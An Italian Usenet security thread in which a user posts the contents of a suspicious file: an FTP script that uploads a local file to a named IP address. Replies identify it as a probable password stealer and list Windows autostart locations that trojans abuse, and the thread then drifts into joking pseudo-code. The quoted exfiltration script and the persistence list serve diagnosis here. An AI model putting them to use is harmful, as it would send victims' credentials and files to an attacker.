Newsgroup: it.comp.sicurezza.windows
Titolo: WSA.exe

Cosa e'.
Si carica sempre il /run, anche se lo tolgo...
E poi...
Ho trovato un file dal nome netldx.vxd nella dir principale c:\
Eccone il contenuto:
---
o 209.201.88.110
user anonymous
pass itsme@
cd incoming
ascii
put C:\hsf5442.sys
quit
---
Cos'e'?
Non ci sono porte strane aperte sul mio pc. E poi uso il Conseal con le
rules di buttha.
Grazie mille
Salvo

 quit
"Se sbalio corìgetemi", ma *probabilmente* è un password stealer.
Cioè un programmino che fa uno scan di... boh, il tuo disco, o le
tue comunicazioni tcp/ip o altro, trova i dati che gli interessano
(pass, e-mail, file interessanti, file .pwl magari chiavi del registro...)
e li mette nel file hsf5442.sys. Poi fa un FTP sul server 209.201.88.110
che fa parte della
Qwest Communications (NET-QWEST-ICON5)
950 17th Street Suite 1900 Denver, CO 80202 US
(che attualmente è giù, e magari a sua volta era solo un rimbalzo)
e trasmette quello che ha trovato.
Prova ad aprire il file hsf5442.sys con Notepad, secondo me ci
troverai delle belle sorpresine. Non conosco Conseal, ma *dovrebbe*
aver bloccato la trasmissione dei dati.
Punti da cui può partire in automatico un programma sotto windows:
- win.ini, chiavi load e run
- system.ini nelle sezioni [boot] [386Enh] [drivers] o
    dopo Explorer.exe nella chiave shell
- wininit.ini
- config.sys
- autoexec.bat
- chiavi del registro che cominciano con Run o RunOnce
- cartella "Esecuzione Automatica" o "Startup"
- altri programmi troianizzati
... ho dimenticato qualcosa ?
Bye, G.

 ... ho dimenticato qualcosa ?
Sě
Bye Krmel vediamo se indovini ;-)
Microsoft Outlook Express: cosa vuoi postare postare postare postare
oggi?

 Bye Krmel vediamo se indovini ;-)
Ti senti VBI, eh ? >:-]
- boot sector
- MBR
- floppy o CD lasciato infilato in un drive attivo per il boot
- autorun del CD
- qualche finto driver nel registro
- .CPL, quando apri il pannello di controllo
- .SCR con uno screen saver fasullo
- .HTT in una cartella se č attivo l'active desktop
- .VBS e/o macro in un documento Office
- visualizzazione automatica di una mail da OE
- uno dei (100!)^e bug di IE
Era fra questi ? Eppure c'č qualcos'altro (magari di piů semplice)
che non mi torna in mente...
Bye, G.

 che non mi torna in mente...
Esatto, di più semplice, e utilizzato da molti trojan.
Bye Krmel


 le rules di buttha.
Ciao,
Axel Pettinger

 Ci rinuncio, questa notte devo dormire. Fammi sapere.
dimentichi babylonia, con i suoi hlp...!!!
Sono stato uno dei primi a prenderlo e abbiamo fatto un sacco di casino, in
questo ng.
Da allora, mai piu' AV: solo un po' di buon senso, ma non basta mai...


c'hai azzaccato, porca miseria zozza.

 ShellExtension
Eggià
Oltre all'intercettare lo ShellExecute agendo sull'apposita chiave. Ad
ogni doppioclick su un file di qualunque tipo  (anche un banale .txt)
viene eseguito il trojan o il virus.


     Paperino.RunToHardWork
anche a me non piace molto questa istruzione... Non capisco perché
nelle successive versioni dell'OS non riescano se non a toglierla,
almeno a mitigarla... 


 Esatto, di più semplice, e utilizzato da molti trojan.
Me ne sono venuti in mente altri due conosciuti, (ShellExtension e i
file ???START.BAT) più un paio davvero VBI (e non so nemmeno se
funzionino), ma non credo siano ciò a cui alludi. :-(((  Mettiamola così:
/ADVERTISING ON
    Cedo mononeurone, causa scarso uso e funzionalità.
    Prezzo simbolico, purchè il proprietario sia un vero amatore,
    e che riesca a farlo funzionare un po'.
/ADVERTISING OFF
Ci rinuncio, questa notte devo dormire. Fammi sapere.
Bye, un Paperino sneuronato.
--
Do
    If Paperino.Hungry = True Then
        Paperino.Eat Anything
        Paperino.WashTeeth
    End If
    Do While Brain.Efficiency < 75
        Sleep
        DoEvents ' non si sa mai...
        If Bladder.Level > 75 Then Paperino.Urinate
    Loop
    Paperino.Awake 8:00, MilkAndCoffee
    Paperino.RunToHardWork
Loop

 Eggià
Menomale...
Con Brain.Activity < 10 stanotte posso mettere un paio di
DoEvents in più, nel caso mia moglie... ;-)))
Bye, G.

 Da allora, mai piu' AV: solo un po' di buon senso, ma non basta mai...
Il mio buon senso mi ha detto di installare Linux, un bel po' di
tempo fa. Su _quella_ macchina sto più tranquillo, almeno. :-)))
Bye, G.

         Paperino.WashTeeth
----snips!--------
LOL!
Incredibbolo!
Capisco il linguaggio dei programmatori...allora è proprio vero, mi sto
ammalando! :-)
Saluti
Lella


Io fossi in te gestirei meglio le risorse di sistema. Con delle risorse
così scarse, seppoi il sistema ti fa qualche scherzetto, và a finire che ti
compare la finestrella "questo programma ha eseguito un' operazione non
valida e sarà terminato". Poi sono letteralmente "cavoli" tuoi!
^_______________________^
Saluti
Lella

 l'Evento ha meno probabilità di accadere ;-)
Dipende...se c'è la stringa "If Prostata Problems", si dovrà rassegnare!
Saluti
Lella p(azza)rogrammatrice

 almeno a mitigarla...
Beh, io la uso perché altrimenti non riesco a far funzionare
la GetMoney. Avrei provato con Bank.Robbery, ma degli esperti
mi hanno detto se non metto prima bene a punto una routine di
Escape andrei in conflitto con System.Law e System.Police, e che in
una Sub del genere bisogna usare per default "On Error GoTo Jail"
E a me certi Timeout non piacciono...
L'unica è usare una seconda routine Work in un thread separato,
oppure sperare che i programmi TotoWin.exe e LottoWin.exe che
ogni tanto lancio in background si decidano a funzionare. :-))
Bye, G.

 ammalando! :-)
Cosa ci fai fuori della clinica, allora ? :-)))
Un Paperino basta OT che Thorin ha già armato il pinguino...

 Dipende...se c'è la stringa "If Prostata Problems", si dovrà rassegnare!
A meno che non decida di inserire una subroutine del tipo:
Sub Operazione_Prostata (Ospedale, Costo, Giorni_di_malattia)


 valida e sarà terminato"
ROFL ;-)))))
